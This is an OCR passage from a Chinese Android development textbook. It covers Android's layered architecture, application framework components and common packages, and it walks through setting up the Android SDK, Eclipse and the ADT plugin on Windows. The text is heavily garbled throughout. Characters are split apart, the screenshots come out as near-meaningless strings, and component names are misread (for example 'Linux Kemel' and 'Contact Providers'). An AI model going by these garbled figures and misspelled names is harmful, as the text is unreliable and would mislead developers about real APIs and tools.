正 地 超越 iPhone,， 就 必须 有 自己 的 硬件 制造 商 。Google 于 2011 年 8 月 15 日 花费 125 亿美 金 
收购 了 摩托 罗拉 公司 , 这 样 Google 也 将 具备 硬件 开发 的 能 力 , 而 这 一 点 也 即将 表明 ，Google 
开始 彻底 涉足 移动 市 场 ， 不 再 简单 地 只 是 一 家 提供 软件 服务 的 公司 ， 而 与 Apple 的 战争 也 即 

| 将 打响 。 但 是 对 于 Google 收购 摩托 罗拉 是 福 是 祸 ， 还 需要 长 时 间 的 观察 。 


Android 虽然 出 现时 间 不 长 ， 但 是 其 版 本 众多 。 目 前 ，Android 对 于 智能 手机 的 操作 系统 的 
最 高 版 本 是 Android 2.3， 对 于 平板 电脑 支持 的 操作 系统 的 最 高 版 本 是 Android 3.1， 而 马上 又 要 
推出 Android 4.0 版 本 的 系统 ， 但 由 于 本 书 主要 以 手机 开发 为 主 ， 所 以 采用 Android 2.3 版 本 。 
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1.4 Android 的 体系 结构 


在 Android 操作 系统 中 ， 将 体系 结构 划分 为 4 层 : 应 用 层 (Application) 、 应 用 框架 层 
(Application Framework) 、 系 统 运 行 库 层 (Libraries) 以 及 Linux 内 核 层 (Linux Kemel) ， 这 
4 层 所 包含 的 内 容 如 图 1-6 所 示 。 


Application 
Activity 
Manager Syste 
Package Telephomy 
XMppservi 
-一 -一 一 
AAA 


图 1-6 Android 操作 系统 的 体系 结构 
1. 应 用 层 (Application ) 


应 用 层 是 使 用 Java 语言 进行 开发 的 一 些 应 用 程序 ， 如 地 图 软件 、 联 系 人 管理 、E-mail 连接 、 
浏览 器 等 都 属于 应 用 层 上 运行 的 程序 ， 许 多 开发 出 来 的 程序 〈 如 音乐 播放 器 、 通 讯 录 等 ) 也 都 
是 运行 在 应 用 层 上 的 。 

2. 应 用 框架 层 (Application Framework) 


应 用 框架 层 主要 是 Google 发 布 的 一 些 操作 支持 的 类 库 (API 框架 ) ， 开 发 人 员 可 以 使 用 这 

些 类 库 方 便 地 进行 程序 开发 ， 但 是 在 开发 时 必须 遵守 框架 的 开发 原则 。 而 在 应 用 框架 层 中 也 包 
含 了 众多 的 组 件 ， 介 绍 如 下 。 

Activity Manager: Activity 程序 是 Android 应 用 程序 中 的 基本 组 件 ， 所 有 的 可 运行 的 程 

序 都 要 继承 自 Activity 类 ， 此 类 将 接受 Android 操作 系统 的 管理 ， 也 有 自己 的 生命 周期 


控制 方法 。 
回 窗口 管理 器 (Window Manager) : 负责 整个 系统 的 窗口 管理 ， 可 以 控制 窗口 的 打开 、 
关闭 、 隐 藏 等 操作 。 


内 容 提供 器 (Contact Providers) : 实现 多 个 程序 间 的 数据 共享 操作 。 
视图 系统 (View System) : 用 于 构建 应 用 程序 的 显示 界面 ， 如 文本 组 件 、 按 钮 组 件 、 
列表 显示 等 。 

通知 管理 器 (Notification Manager) : 对 手机 项 部 状态 栏 的 提示 消息 进行 管理 ， 如 短信 
使 
-四 


全 
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3. 


提示 、 电 话 提示 、 电 量 提 示 等 ) 。 

包 管理 器 (Package Manager) : 负责 Android 系统 对 所 有 程序 的 管理 ， 如 安装 或 卸载 程 
序 时 需要 用 到 的 权限 (Permission) 、 清 除 用 户 数据 、 缓 存 等 。 

电话 管理 器 (Telephony Manager) : 提供 取得 手机 基本 服务 信息 的 一 种 方式 ， 可 用 来 
检测 手机 基本 服务 的 情况 。 

资源 管理 器 (Resource Manager) : 提供 访问 非 代 码 的 资源 ， 如 国际 化 文字 显示 、 图 形 
界面 和 布局 管理 器 。 

位 置 管理 器 (Location Manager) : Google 提供 的 地 图 管理 程序 ， 可 以 为 用 户 提供 GPS 
导航 功能 。 

XMPP 服务 (XMPP Service) : XMPP 为 可 扩展 的 消息 与 表示 协议 (Extensible Messaging 
and Presence Protocol) ， 是 一 个 基于 XML 的 即时 通信 协议 。 


系统 运行 库 层 (Libraries) 


当 使 用 Android 框架 层 进行 开发 时 ，Android 操作 系统 会 自动 使 用 一 些 C/C++ 的 库 文件 来 支 
持 所 使 用 的 各 个 组 件 ， 使 其 可 以 更 好 地 为 程序 服务 。 在 系统 运行 库 层 中 包括 以 下 组 件 。 


回 


4. 


桌面 管理 器 (Surface Manager) : 负责 管理 显示 子 系统 的 访问 ， 并 且 可 以 将 多 个 应 用 程 
序 的 图 形 层 无 终 地 融合 。 

媒体 库 (Media Framework) : 为 Android 多 媒体 的 核心 库 ， 是 基于 PacketVideo 的 
OpenCORE 核心 组 件 开发 的 ， 从 功能 上 讲 ， 多 媒体 库 分 为 两 个 组 成 部 分 : 一 部 分 是 音 
频 、 视 频 播放 ; 另 一 部 分 是 音频 录音 。 

关系 型 数据 库 (SQLite) : 是 一 个 专门 为 嵌入 式 系统 开发 的 关系 型 数据 库 。 

3D 支持 库 (Open GL/ES) : 提供 了 对 3D 功能 的 支持 。 

Free Type 库 : 是 一 个 开源 的 、 高 质量 的 且 可 移植 的 字体 引擎 ， 可 以 对 位 图 (Bitmap) 
和 矢量 (Vector) 字体 提供 支持 。 

Web 浏览 器 引擎 (WebKit) : 提供 Web 浏览 器 的 支持 功能 。 

SGL 库 : 2D 图 像 引擎 。 

SSL (Secure Sockets Layer， 安 全 套 接 字 层 ) 库 : 为 数据 通信 提供 安全 的 支持 。 

Libc 库 : Linux 下 的 ANSIC 函数 库 ， 也 是 一 个 最 为 底层 的 库 ， 是 通过 Linux 系统 调用 
来 实现 的 。 

Android 运行 环境 (Android Runtime) : 主要 指 的 是 虚拟 机 技术 一 一 Dalvik VM。Dalvik 
是 一 个 在 移动 设备 上 使 用 的 虚拟 机 ， 对 内 存 使 用 高 效 ， 而 且 在 低速 CPU 上 也 能 表现 出 
高 性 能 ，Dalvik 虚拟 机 执行 的 是 *.dex (Dalvik Executable) 文件 ， 其 性 能 也 更 加 高 效 。 


Linux 内 核 层 (Linux Kernel) 


Android 操作 系统 主要 基于 Linux 2.6 内 核 , 程序 的 安全 性 、 驱 动 程 序 、 进程 管理 等 都 由 Linux 
内 核 所 提供 。 在 Linux 内 核 层 中 包括 以 下 组 件 。 


显示 驱动 (Display Driver) : 基于 Linux 的 帧 缓冲 (Frame Buffer) 驱动 。 

照相 机 了 驱动 (Camera Driver) : 常用 的 基于 Linux 的 v412 (Video for Linux) 驱动 。 
蓝牙 驱动 (Bluetooth Driver) : 基于 IEEE 802.15.1 标准 的 无 线 传输 技术 。 

Flash 内 存 驱 动 (Flash Memory Driver) : 基于 MTD 的 Flash 驱动 程序 。 

Binder (IPC) Driver: Android 的 一 个 特殊 的 驱动 程序 ， 具 有 单独 的 设备 节点 ， 提 供 进程 


加 


名 师 讲 坛 一 一 Android 开发 实战 经 典 


办 国 鳃 提 


sl 


间 通 信 的 功能 。 

USB 驱动 (USB Driver) : 提供 USB 设备 的 连接 支持 。 

键盘 驱动 程序 (KeyBoard Driver) : 为 输入 设备 提供 支持 。 

WIFI 驱动 (WIFIDriver) : 基于 IEEE 802.11 标准 的 驱动 程序 ， 可 以 连接 无 线 网 络 。 
音频 驱动 (Audio Drivers) : 基于 ALSA (Advanced Linux Sound Architecture) 的 高 级 
Linux 声音 体系 驱动 。 

电源 管理 (Power Management) : 对 电池 电量 进行 监控 。 


1.5 Android 应 用 程序 框架 


在 进行 Android 软件 开发 时 , 开发 者 所 开发 的 Android 应 用 程序 都 是 通过 应 用 程序 框架 来 与 
Android 底层 进行 交互 的 ， 所 以 开发 中 接触 到 最 多 的 部 分 就 是 应 用 程序 框架 。 在 整个 应 用 程序 杠 
架 中 有 4 个 重要 的 组 件 ， 介 绍 如 下 。 


Activities: 一 个 Activities 就 表示 一 个 程序 的 显示 界面 ， 在 一 个 应 用 程序 中 可 以 包含 多 
个 Activities 组 件 ， 每 个 Activities 组 件 都 拥有 各 自 的 生命 周期 。 

Intent: 当 多 个 应 用 程序 之 间 需 要 互相 跳 转 时 ， 就 通过 Intent 完成 ， 开 发 者 所 开发 的 程 
序 也 可 以 利用 Intent 调用 Android 本 身 所 提供 的 应 用 程序 ， 如 打 电 话 或 发 送 短 信息 等 。 
Services: 指 的 是 那些 运行 在 后 台 、 没 有 界面 显示 的 Activities 程序 。 在 Android 之 中 内 
置 了 许多 Services 供 开 发 者 使 用 ， 如 发 送 通知 (Notification) 或 发 送 短信 (SMS) 等 。 
Content Provider: 当 不 同 的 应 用 程序 之 间 需 要 对 数据 进行 共享 时 就 要 使 用 到 此 组 件 ， 
例如 ， 当 一 个 Activities 程序 需要 访问 联系 人 时 ， 就 可 以 通过 Content Provider 组 件 完 
成 调用 。 


在 Android 应 用 程序 框架 中 的 大 部 分 组 件 都 分 别 定义 在 了 不 同 的 包 中 ， 这 些 常见 的 包 如 表 1-2 


所 示 。 
表 1-2 Android 中 常见 的 组 件 包 

No. 包 名 称 描述 
1 android.app 提供 程序 主体 运行 支持 类 
和 android.content 提供 程序 和 数据 交互 访问 的 支持 类 
3 android.database 提供 数据 库 的 操作 支持 类 
二 底层 的 图 形 库 ， 包 含 画布 、 颜 色 过 滤 、 点 、 和 矩形， 可 以 将 它们 直接 

绘制 到 屏幕 上 

5 android.location 定位 和 相关 服务 的 支持 类 
6 android.media 提供 一 些 类 ， 用 于 管理 多 种 音频 、 视 频 的 媒体 接口 
7 android.net 提供 网 络 访问 的 支持 类 
8 android.os 提供 系统 服务 、 消 息 传输 和 卫 C 机 制 
9 android.opengl 提供 OpenGL 的 工具 
10 android.provider 提供 访问 Android 内 容 提 供 者 的 类 
11 android.telephony 提供 与 拨打 电话 相关 的 API 交互 
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和 android.view 提供 基础 的 用 户 界面 接口 框架 

13 android.util 涉及 工具 性 的 方法 ， 如 时 间 和 日 期 的 操作 

14 android.webkit 默认 浏览 器 操作 接口 

15 android.widget 包含 各 种 UI 元 素 (大 部 分 是 可 见 的 ) ， 在 应 用 程序 的 布局 中 使 用 

现在 对 表 1-2 中 所 列 出 的 大 部 分 组 件 包 先 有 一 个 印象 即 可 , 在 随后 的 部 分 会 一 一 介绍 这 些 组 
件 包 的 使 用 。 


1.6 本 章 小 结 


(1) 智能 手机 与 传统 手机 相 比 ， 本 身 具 有 网 络 访问 能 力 ， 也 可 以 任意 扩展 第 三 方 应 用 程序 。 

(2) Android 的 中 文 含义 为 “机 器 人 ”， 本 书 所 使 用 的 Android 开发 版 本 是 Android 2.3。 

(3) Android 是 在 Linux 基础 之 上 发 展 起 来 的 ， 使 用 Java 语言 作为 前 台 开 发 语言 ， 而 内 核 
是 Linux。 


JU 


第 2 章 搭建 Android 开发 环境 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

可 以 下 载 并 安装 Android-SDK 开发 工具 。 

回 可 以 在 Eclipse 中 配置 ADT 插件 。 

使 用 ADT 插件 完成 第 一 个 Android 程序 的 开发 。 

Android 的 开发 与 Java 的 开发 类 似 ， 本 身 也 有 其 特定 的 SDK 支持 一 一 Android-SDK， 木 章 
将 讲解 SDK 的 下 载 及 安装 、 如 何在 Eclipse 中 配置 ADT 插件 以 及 ADT 的 使 用 。 


2.1 下 载 并 配置 Android 开发 环境 


下 载 并 配置 Android 开发 环境 的 步 又 介绍 如 下 。 

(1) 要 想 进 行 Android 程序 的 开发 ， 首 先 需 要 一 个 开发 环境 ， 在 Android 中 也 提供 了 一 个 
与 Java 中 的 JDK 类 似 的 开发 平台 ， 即 Android-SDK， 通 过 下 载 Android-SDK， 用 户 可 以 进行 各 
种 版 本 的 Android 程序 的 开发 ，Android-SDK 的 软件 包 可 以 直接 从 http://developer.android.com/ 
index.html 下 载 ， 如 图 2-1 所 示 。 


/提示 
关于 www.android.com 的 访问 问题 。 


利用 下 是 无 法 直接 访问 Android 网 站 的 , 而 且 下 载 也 需要 大 量 的 时 间 ， 在 本 书 随 书 附送 
的 光盘 中 有 相应 的 Android-SDK 以 及 开发 工具 ， 读 者 可 以 直接 从 光盘 中 找到 。 


@ [Eneish 忆 


SDK Dev Guide Referance Resources Videos Blog 
Lo 


Developer Announcements 


Thanka to everybody who joined us at Google 


“入 Leam more » 
A Publish 
Dove onercor Tower 
Android 3.1 now available! 
LE Android 3 1includes new davelopar features Contribute 

such as APls br USB accessories, MTPIPTP Android Open Source Project 
and RTP, as well as new input events fom Sy ee a 
mice, trackballs, pysticks,and more. eps 
For more inomation about all the new APIs in Le mie» 
Andrcid 3.1, read the version notes 


图 2-1 Android-SDK 的 下 载 主页 
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(2) 选择 SDK 选项 卡 ， 进 入 Android-SDK 的 下 载 页 面 ， 如 图 2-2 所 示 ， 由 于 是 基于 Windows 
操作 系统 进行 开发 ， 所 以 下 载 Windows 版 本 的 SDK， 这 里 选择 Android 2.3 版 本 的 SDK。 


®@ [Engish 可 
E 
Home 5 DevGuide Reference Resources Videos Blog 
Android SDK Starter Package 
Download the Android SDK 


Installing the SDK 


Downloadable SDK Components Welcome Developers! If you are new to the Android SDK. please read the steps below. for an overview of how to set up the 


Adding SDK Components SDK 
jar 村 和 If you're already using the Android SDK, you should update to the latest tools or platform using the Android SDK and AVD 
pe a i Manager. rather than downloading a new SDK starter package. See Adding SDK Components 


ndrold 2 3.3 Platform 

ndrold 2 1Platorm 

oher Platforms 32837554 bytes 0a2c52b8f8d97a4871ceBb3eb38e3072 
SDK Tools, r11 "ew 

eoghe USB Drine, eh 32883649 bytes 3dc8a29ae5afed97b40910ef153caa2b 


ADT Plugin for Eclipse (Recommended) 
ADT1001 
Mac OS X (intel) android-sdk r11-mac_x86 zip 28844968 byles ”85bed5ed25aea5115a447a674d637d1e 
Native Development Tools 


Androld NDK. 5b 


Linux (386) roid -sdk 111-4 
Whatis the NDK? 


26984929 bytes 026c57fB2627a3a70efb197ca3360d0a 
More Information 


Here's an oveview of the steps you must folow to set up the Android SDK 
OEM USB Drivers 


图 2-2 Android-SDK 的 下 载 页 面 


(3) Android-SDK 下 载 之 后 是 以 压缩 包 的 形式 保存 的 , 用 户 可 以 直接 将 压缩 包 进行 解压 缩 ， 
本 书 将 Android-SDK 解压 缩 到 玉 盘 下 ， 此 时 的 目录 结构 如 图 2-3 所 示 。 


文件 (日 ”编辑 (E) ”查看 (V) 收 蕊 (8) 工具 (D 帮助 中 


Qs :© TF) ar x | 


MED) [D Eendro sd wdons SE 
文件 和 文件 夹 任务 司 六] mm | ) ptfoms 
其 它 位 置 y _ 要 
El took ! 哪 ' SOK Manager.exe 
详细 信息 | 
android-sdk-windows = SDK Readme.bxt 
文件 夹 三 本 文档 


修改 日 期 ; 2011 年 6 月 3 日 , 
10:34 


图 2-3 Android-SDK 解压 缩 之 后 的 目录 
Android-SDK 中 每 个 目录 都 有 其 作用 ， 如 表 2-1 所 示 。 


表 2-1 Android-SDK 解压 缩 后 的 目录 及 其 作用 


Android-SDK 的 开发 工具 路 径 ， 如 果 有 需要 可 以 将 其 配置 到 path 属性 中 


所 有 下 载 的 Android 的 开发 支持 版 本 
需要 增加 的 新 工具 路 径 


(4) 直接 运行 文件 夹 中 的 SDK Manager.exe 文件 ， 可 以 得 到 如 图 2-4 所 示 的 安装 界面 ， 此 
时 可 以 选择 要 下 载 的 Android 版 本 ， 建 议 下 载 1.5 以 上 的 全 部 版 本 。 
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FT Te] =Iolxl 
okanns Package Description & License 
~ SOK Platform Android 3.1, API 12, revision .,. 2| | | Package Description 加 | 
~ SOK Platform Android 3.0, API 11, revision ... Android SDK Platform 2.3.3,71 
本 Revision 1 


~ SDK Platform Android 2.2, ApL 8, revision 2 [*] This package i 3 dependency for: 

SOK Platform Android 2.1, AP1 7, revision 2 [*] ee 
~ SOK Platform Android 2.0.1, APL 6, revision ,,. 
~ SDK Platform Android 2.0, APIS revision 1 ... Archive for any 05 


Sok Platform Android 1.6, API 4, revision 3[*] ee a 
日 77357 c6060e206sade32 
~ SOK Platform Android 1.5, API3, revision 4 [*] Sn Ay ' 


~ Google APIs by Google Inc., Android API 12.,. Ste 
Google APIs by Google Inc Android API 11,. Android Repository (dhssl.google.com) 可 
Y Google Apls by Googe Inc., Android API10... | | 冯 六 | 


图 2-4 选择 Android 开发 所 支持 的 版 本 


到 提示 
关于 www.android.com 的 访问 问题 。 
由 于 Google 的 部 分 站 点 受到 访问 的 限制 ， 所 以 有 可 能 在 运行 SDK Manager.exe 之 后 ， 
无 法 发 现任 何 可 用 的 下 载 ， 此 时 ， 可 以 暂时 跳 过 此 部 分 ， 等 讲解 到 ADT 配置 时 再 进行 下 载 。 
此 外 ， 此 处 下 载 的 内 容 较 多 ， 建 议 要 有 足够 的 网 络 带宽 。 
另外 ， 本 书 所 附送 的 光盘 中 有 Android 各 个 版 本 的 程序 供 读者 直接 使 用 ， 读 者 只 需要 将 
其 复制 到 Android-SDK 的 Platforms 目录 下 即 可 。 


= 


/提示 
安装 时 建议 下 载 1.5 以 上 的 所 有 版 本 。 
由 于 现在 Android 操作 系统 版 本 众多 ， 而 且 使 用 的 最 低 版 本 为 1.5， 所 以 建议 读者 将 1.5 
版 本 以 上 的 Android 全 部 下 载 下 来 。 


(5) 下 载 完 Android 的 开发 支持 版 本 之 后 ， 需 要 在 Windows 中 配置 Android 的 主要 使 用 命 
令 〈 所 有 命令 保存 在 tools 文件 夹 中 ) ， 右 击 “ 我 的 电脑 ”图 标 ， 选 择 “ 属 性 ”命令 ， 选 择 “ 高 
级 ”选项 卡 ， 单 击 “环境 变量 ”按钮 ， 对 PATH 属性 进行 编辑 ， 如 图 2-5 所 示 。 


CE x 


变量 名 四， Fr 
变量 值 O): EE 


Ce ] we | 


图 2-5 配置 Android-SDK 开发 工具 


Ee 


.提示 
如 果 已 经 打开 命令 行 则 需要 重新 启动 。 | 
配置 完 PATH 属性 后 ， 如 果 命令 行 方式 已 经 打开 ， 则 需要 重新 启动 命令 行 ， 才 可 以 将 新 
”的 路 径 加 载 进来 ， 然 后 才能 够 执行 Android-SDK 所 支持 的 命令 ， 这 与 JDK 的 配置 是 一 样 的 。 
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2.2 下 载 并 配置 ADT 插件 


Android-SDK 安装 并 下 载 完毕 之 后 ， 为 了 开发 的 方便 ， 需 要 在 Eclipse 中 配置 ADT 插件 。 
要 想 使 用 ADT， 首 先 需 要 下 载 Eclipse， 下 载 并 配置 ADT 插件 的 步骤 介绍 如 下 。 


(1) 本 次 使 用 的 Eclipse 为 3.5 版 本 ， 下 载 地 址 为 www.eclipse.org， 如 图 2-6 所 示 ， 选 择 
eclipse-java-helios-win32.zip 下 载 。 


A 
提示 
关于 Eclipse 的 使 用 。 


如 果 尚 不 熟悉 Eclipse， 可 以 直接 登录 Www.mldnjava.cn 下 载 相关 的 学 习 视 频 ， 或 者 查看 | 
《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 21 章 的 内 容 。 


可 本 下 本 | Er 
sels3 yars3,,, DownloadEclipse 时 
并 | 


秘 的 9 


3 » Plugins » Contribute 
Enteroise EclipseRT Ecose SOA Pulsar Moceling Appllcation Language 
as mm ces 


nDocumentation  »ReportaBug 


Announcements 
201W0531 


Indige Democamps; Next Weeks Camps Are Boston, Frankturt, Jakarta and 
Krak 


201405031 


Squish 


图 2-6 ”Eclipse 首页 


(2) Eclipse 为 绿色 软件 ， 直 接 将 其 解压 缩 即 可 使 用 ， 本 书 将 Eclipse 解压 缩 到 E 盘 上 ， 解 
压缩 之 后 的 目录 如 图 2-7 所 示 。 


201110524 


ET 


-3 
Oa OO ?| Dn zm | 
MO uma EPI] 
文件 和 文件 丙 任务 ’ El ER EE de go fees 
其 它 全 加 
Rs 全) " 名 ~ 如 一 
scim neoas arm 


图 2-7 Eclipse 安装 目录 


(3) 运行 eclipse.exe 文件 即 可 启动 Eclipse 开发 工具 ， 其 启动 界面 如 图 2-8 所 示 。 然 后 进入 


名 师 讲坛 一 一 Android 开发 实战 经 典 


选择 工作 区 界面 ， 如 图 2-9 所 示 。 在 一 个 工作 区 中 可 以 同时 存在 多 个 项 目 


“是 
ECPSe 


HELIOS 


图 2-8 Eclipse 启动 界面 


Select a workspace 


EE 
Edipse stores your projects in a folder called a workspace. 
Choose a workspace folder to use for ths session, 
Workspace: [e:\myandrodws 了 ] Browse,,. 


"Use this as the defauk and do not ask again 


图 2-9 设置 工作 区 


工作 区 可 以 设置 为 默认 启动 。 


如 果 在 选择 工作 区 界面 中 选中 了 Use this as the default and do not ask again 复 选 框 ， 则 表 
示 以 后 将 默认 打开 此 工作 区 ， 并 且 不 再 出 现 提示 框 。 


(4) 在 Eclipse 中 下 载 ADT 插件 , 此 插件 可 以 直接 通过 Eclipse 的 更 新 程序 安装 , 选择 Help 
一 Install New Software 命令 即 可 ， 如 图 2-10 所 示 。 


e Navigate Search Project Refactor Window 


Bn 苏 -O- 久 - 


图 2-10 选择 安装 新 的 软件 


16 


第 2 章 搭建 Android 开发 环境 


(5) 在 Work with 文本 框 中 输入 地 址 https://dl-ssl.google.com/android/eclipse/， 此 为 ADT 插 
件 的 下 载 地 址 ， 之 后 就 可 以 浏览 ADT 插件 包 ， 本 次 下 载 的 是 10.0.1 版 本 ， 如 图 2-11 所 示 。 


-lolx 


Available Software 
Check the Rems that you wish to install, 


Work wth: [https:/id-ssl. go0gle.com/androidjechpse} 可 a0d.., 
Find more software by working with the "Avalable Software Skes* preferences. 


ype Fiker text 


日 加 WO Developer Tools 


回锅 android DoM5 10.0.1.v201103111512-110841 
回填 android Development Took 10.0.1.Y201103111512-110841 
回 敢 Android Hierarchy Viewer 10.0.1.v201103111512-110841 
回归 Android Traceview 10.0.1.v201103111512-110641 
Select Al | Deseled | 4iemsselected 
区 习 


克 show only the latest versions of avallable software ~ Hde Rems that are akready installed 
WS Group kems by category ‘What is already nstaled? 
[SContact all update stes during install to find required software 


@ 人 


图 2-11 选择 要 下 载 的 ADT 插件 


(6) 选择 需要 下 载 的 ADT 插件 后 ， 单 击 Next 按钮 ， 进 入 如 图 2-12 所 示 的 界面 ， 单 击 Next 
按钮 ， 在 打开 的 界面 中 选择 接受 安装 协议 ， 如 图 2-13 所 示 。 


站 
Install Details 
DYour original request has been modified，See the detais. 


Android DDM5 10,0,1.v201103,., com,android,ide,ecipse,ddms ,featur 
$B Android Development Tools 10,0,1.v201103,,. com,android ide,ecipse. adt,feature,.., 
PB Androld Hierarchy Viewer 10,0.1.v201103,.. com,androld,ide,edipse ,hierarchyvie， 
$B Androd Traceview 10.0.1.v201103... com.android,ide.ecipse.traceview,fe.., 


图 2-12 要 下 载 的 Android 插件 


(7) 插件 安装 成 功 之 后 会 提示 用 户 是 否 重新 启动 Eclipse， 单 击 Restart Now 按钮 重新 启动 ， 
如 图 2-14 所 示 。 
(8) 重新 启动 之 后 , 如 果 ADT 插件 已 经 安装 成 功 , 则 可 以 在 工具 栏 中 发 现 ADT 快捷 按钮， 
如 图 2-15 所 示 。 
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ER 


EE 


eonses mest ba roriewed md sespted befere tho safears ean bo natalod dl 


Review Licenses 


Ucnse text for Ardoid Tracevew 10.0 1.v20L103111512-11051); 
ET 


Wersin20, January 2004 
htpylfwww agache orgficorses 


[1 


TERMS AND COMDLTICNS FOR USE REPRODUCTION, AND DISTRIBUTION 


Lacteptthetems of the lcarse agreemert 
Tdonot accept the ternsol the Renss ageenenk 


加 ce | ie | co 
图 2-13 选择 接受 安装 协议 


€E Software Updates xl| 


2 MOU lh om Eee (aD 丽人 和 
i may try to apply the changes without restarting, but this may cause 


rn 几 ww。 | evoeoeov | 吾 || 莹 癌 旧 | 头 -D 


图 2-14 提示 重新 启动 图 2-15 ”安装 完成 之 后 的 ADT 快捷 按钮 
意 
此 时 的 ADT 无 法 使 用 。 


虽然 现在 已 经 出 现 ADT 的 应 用 按钮 | 本 ,但 是 由 于 还 没有 在 Eclipse 中 配置 Android-SDK， 
所 以 此 按钮 暂时 无 法 使 用 。 

(9) 下 载 完 ADT 插件 之 后 ， 如 果 要 想 使 用 此 插件 进行 开发 ， 则 还 需要 按照 如 下 步骤 配置 
Android-SDK 工具 目录 。 选择 Window 一 Preferences 一 Android 命令 , 在 打开 的 界面 中 选择 Android- 
SDK 所 在 的 主 目录 ， 如 图 2-16 所 示 。 

此 时 ， 选 择 的 是 Android-SDK 的 根 目 录 ， 配 置 完成 之 后 单 击 OK 按钮 ， 就 可 以 使 用 工具 栏 
中 的 ADT 的 应 用 按钮 进行 操作 了 ， 如 图 2-17 所 示 。 


Androd Preferences 
SDk Location androud-sdkwndows 
Note: The lsk of SDK Targets below'is only raloaded once you hit Apoly or ‘OK. 


em i He 
ld 中 pestoreDefauks| Apok ]r3 | 首 || 洲 用 了 | 净 -Dv-Q" | 
© Ce ee) EC 
图 2-16 配置 Android-SDK 目录 图 2-17 选择 ADT 插件 
(10) 进入 ADT 插件 操作 界面 之 后 选择 Available packages 选项 ， 如 图 2-18 所 示 ， 选 择 所 
需要 安装 的 Android-SDK 的 开发 版 本 ， 建 议 选择 安装 Android 1.5 之 后 的 所 有 版 本 ， 但 是 此 安装 
过 程 需要 较 长 的 时 间 。 


1 
A 


意 - 
如 果 之 前 已 经 下 载 完 ， 则 不 用 再 次 下 载 。 


| 如 果 之 前 的 SDK Manager.exe 操作 执行 成 功 , 则 在 此 可 以 看 见 所 有 下 载 的 Android 的 入 
版 本 ， 也 就 不 用 再 重新 下 载 了 
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ETEIETTTTTTTTO 


SOF Locationt Eandotd showindows 


valodle For dowriod 


S Dardrodaerooy 
Xarchoid Spe Toak rorson 11 
和 -加 物 cho Sok Miaomtools, revision4 
二 回 牙 conmentan for drod 30k AP112, revtdon 1 
:加 
二 回 页 SKPiafamArdod30 ppIll revison 1 
二 畴 地 Kpitfomhrd 
和 加 二 Sokplafomard 
加 somoles for pk pr 12, 
# 加 samies for sor ppl 11, rorson 
#6 Samoles for SOk Ap1 10, revison 1 
二 回国 Andoid Compatbity perkage, revison2 


Andoid 50K Piafom 3.1, revision 1 


Add Md-on Re | Fe 二 


FS Displey updetes only 


图 2-18 下 载 列 表 


(11) 单 击 Install Selected 按钮 ， 出 现 如 图 2-19 所 示 的 版 本 列表 。 


Sone deends on thie pa 


Andod 5DK Toos, revision ti 
Y Ancold SOK Flatiorm-tools, revison 4 ["] 

~ Documenktation for Andiod SCK, APL12, revis... 
~ SDK Platform Android 3.1, APL12, revisbn 2 

SDK Platform androd 30, APL 11, revison 1 

~ SDK Platfom Android 2 3.3, pL 10, revisicn 1 

SDK Platfom Android 2 1, AP17, revisin 2 
Samples for SOk AP1 12, revison 1 
Sanples for SOK APL 11, revison 1 

VSamples for SOk APL10, revison 1 
ncrod Compabibllty package, revison 2 


Pacage Descrilon & license 
村 


Thic update wa roplace revicicn 6 wth revidon 11. 
Dependencies 

stalin Uts Padkage dorequrss nstalrgi 
-andrrid SDK Platformsocc inveion 4 


AT 
SDK Flatforn Android 3.0, APT 11, revsion 1 
SOK Flatforn Androd 2,3. 


Refresh | Instal selected 


oz 


CA © Relect 


图 2-19 


可 下 载 的 Android 列表 


(12) 当 将 所 需要 的 版 本 全 部 更 新 完成 之 后 ， 直 接 单 击 Close 按钮 即 可 ， 如 图 2-20 和 图 2-21 
所 示 。 如 果 要 查看 所 下 载 的 内 容 , 可 以 直接 浏览 android-sdk-windows\platforms 文件 夹 , 如 图 2-22 


CI 


Done, 15 packages instaled, 


Yano SO look reveon 11 
nde So mattorm too reveren 4 
bonmeneation for arc So an 12, rovteen 1 
SK Purm Andold3 APL12, rmionz 

WD Sex Plusform anded30 p111, reveen 1 
Son Pogform rchoud 2.3.3, PE 10, rovesen 1 


Instaled SCK Platform Ancoid 1,1, API 2, revision 1 (Obsolete) 
Downloading Usb Driver package, revision 3 

Instaling Usb Driver package, revision 3 

Instaled Usb Driver package, revision 3 

Downioading Market Licensng package, revision 1 

Instaling Market Licensing package, revisicn 1 

Instaled Market Licensing package, revision 1 

Downloading Documentation for Android SDK, APL 6, revisbn 1 
Instaling Documentation fer Android SDK, AF1 8, revision ; 
Instaled Documentation for Android SDK, APL 6, revision 1 
Updated ADB to support the USB devices ceclared in the SDK add-ons. 
‘adb Kl-server' succeeded, 

ADB: + daemon not running, starting k now * 

‘adb start-server' succeeded, 

ADB! * daemon started surcessfuly * 


Sok Ruem Mehotd 2.2, AP18 rovesen 2 
和 SCK Psfom Andodz lnpdassl P17, reveen 2 
Sen: Powform irehoed 2.0.1, PE 6, rowan 1 (ohsa 
SK Platform hrod20 AP1S, renen 1 (obschete) 
or: Plurfom andod 1.6, p14, remeen ) 

项 3 Popform rchoud 1S PY 3, rosen 4 

SK Ploem Andred 4.1, APIZ revisen 1 (obwcdhete) 
A mks fo FAfilz roe} 

Tempemn 


") 


| 


od 


图 2-20 Android 版 本 更 新 完成 


图 2-21 


已 经 下 载 的 Android 开发 版 本 


(13) 下 载 完 不 同 的 Android 开发 版 本 之 后 ， 还 需要 在 ADT 的 插件 中 完成 配置 ， 直 接 选 择 
Virtual devices， 之 后 选择 New， 添 加 要 使 用 的 Android-SDK 版 本 ， 此 处 添加 2.3 版 本 〈 用 于 手 
机 ) 和 3.1 版 本 〈 用 于 平板 电脑 ) 的 SDK， 如 图 2-23 所 示 。 
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=9Ix 
文人 四 纺 旧 过 看 路 交工 具 D 再 动 [D 
国名 "日 让 | 站 时 上 i | 
地 t(D) [局 EVandroic sdhwindowsiplatforms 可 贺 师 
文 二 入 天 任 务 六 | 留 pe 上 
其 它 位 置 ¥ 所 
详细 信息 会 | ee be) ts 
android-12 ~ > 时 
nb | Bl 
| adods | auodlu 到 
图 2-22 所 有 下 载 的 Android 版 本 


Android virtual Device (AYD) | te new Android Virtual Device (AYD) x|| 
Name; [dod 23 Name: [Androd_ 3.1 
Target; |Android 2.3.3- aI Level 10 ”| Target: [androd 3.1- AplLevel 12 了 
SD Card: SD Card; 
Ese 12 [me = Se E12 me 避 
re[ Bowse Cre rowse 
Snapshot: Snapshot: 
厂 Enabled 厂 Enabled 
Skn: Sn 
